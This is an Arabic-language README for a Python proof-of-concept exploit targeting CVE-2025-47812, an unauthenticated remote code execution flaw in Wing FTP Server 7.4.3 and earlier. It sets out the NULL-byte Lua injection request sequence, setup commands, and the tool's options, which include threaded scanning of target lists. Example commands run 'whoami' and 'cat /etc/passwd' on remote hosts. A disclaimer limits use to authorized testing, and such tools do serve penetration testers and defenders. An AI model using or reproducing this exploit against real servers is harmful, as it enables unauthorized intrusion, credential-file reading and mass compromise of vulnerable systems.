
Python PoC لـ CVE-2025-47812، RCE غير مصادق عليه في Wing FTP Server <= 7.4.3 عبر حقن NULL-byte Lua في ملفات الجلسة
____ _______ ___ __ ____ __ ___ ____
/ __ \|__ / | / / | / / __ \/ |/ // _/
/ / / / /_ <| | / /| |/ / / / / /|_/ / / /
/ /_/ /___/ /| |/ / | / /_/ / / / /_/ /
/_____/____/ |___/ |_/ \____/_/ /_/____/
أداة إثبات المفهوم لـ CVE-2025-47812، وهي ثغرة تنفيذ كود عن بعد بدون مصادقة في خادم Wing FTP الإصدارات الأقدم من 7.4.4.
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2025-47812 |
| المتأثر | Wing FTP Server <= 7.4.3 |
| النوع | تنفيذ كود عن بعد بدون مصادقة |
| الصلاحيات | root (Linux) / SYSTEM (Windows) |
| المطور | wftpserver.com |
| المؤلف الأصلي | Sheikh Mohammad Hasan المعروف بـ 4m3rr0r |
| تم التعديل بواسطة | d3vn0mi |
دالة c_CheckUser() في خادم Wing FTP تقطع اسم المستخدم عند البايت الصفري (%00) لأغراض المصادقة، ولكن اسم المستخدم الكامل غير المنقى — بما في ذلك كل ما بعد البايت الصفري — يُكتب في ملف جلسة Lua. عند الوصول إلى نقطة نهاية مصادق عليها مثل /dir.html، يقوم الخادم بتنفيذ ملف الجلسة ذلك، مما يؤدي إلى تنفيذ كود Lua المحقون بصلاحيات مرتفعة.
1. POST /loginok.html
username=anonymous%00]]<LUA_PAYLOAD>&password=
2. يقوم الخادم بمصادقة "anonymous" (مقطوع عند البايت الصفري)
ولكنه يكتب الحمولة الكاملة في ملف الجلسة → يعيد ملف تعريف ارتباط UID
3. GET /dir.html (Cookie: UID=<extracted_uid>)
يقوم الخادم بتحميل ملف الجلسة → تنفيذ Lua المحقون → تنفيذ أوامر عن بعد
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests
python3 exploit.py -u http://TARGET
python3 exploit.py -u http://TARGET -c 'id'
python3 exploit.py -f targets.txt -o vulnerable.txt -t 8
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
[-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
[-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
[--no-verify]
target:
-u, --url URL Single target URL (e.g. http://192.168.134.130)
-f, --file FILE File containing target URLs (one per line, # comments allowed)
exploit options:
-c, --command COMMAND Command to execute on the remote server (enables verbose output)
-U, --username USERNAME Username for the exploit payload (default: anonymous)
-P, --password PASSWORD Password for the exploit payload (default: empty)
output:
-v, --verbose Enable verbose / debug logging
-o, --output OUTPUT Save vulnerable URLs to this file
-l, --log-file LOG_FILE Write detailed log to this file
network:
-t, --threads THREADS Concurrent threads for multi-target scans (default: 1)
--timeout TIMEOUT HTTP request timeout in seconds (default: 15)
--retries RETRIES Number of retries on connection failure (default: 2)
--no-verify Disable SSL certificate verification
# فحص هدف واحد
python3 exploit.py -u http://192.168.1.10
# تشغيل 'whoami' وعرض المخرجات الكاملة
python3 exploit.py -u http://192.168.1.10 -c 'whoami'
# مسح قائمة بـ 8 سلاسل، تسجيل كل شيء في ملف
python3 exploit.py -f targets.txt -t 8 -l scan.log -o vuln.txt
# استخدام بيانات اعتماد مخصصة مع تعطيل التحقق من SSL
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify
# الوضع المفصل لتصحيح الأخطاء
python3 exploit.py -u http://192.168.1.10 -v
--log-file-t لقوائم أهداف كبيرة--retries)--no-verify للشهادات الموقعة ذاتياً# وإزالة التكرار التلقائي-c يظهر مخرجات الأمر كاملةهذه الأداة مقدمة لأغراض اختبار الأمان المصرح به والتعليم فقط. استخدمها فقط ضد أنظمة تمتلكها أو لديك إذن كتابي صريح لاختبارها. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. المؤلفون غير مسؤولين عن أي استخدام خاطئ أو ضرر ناتج عن هذه الأداة.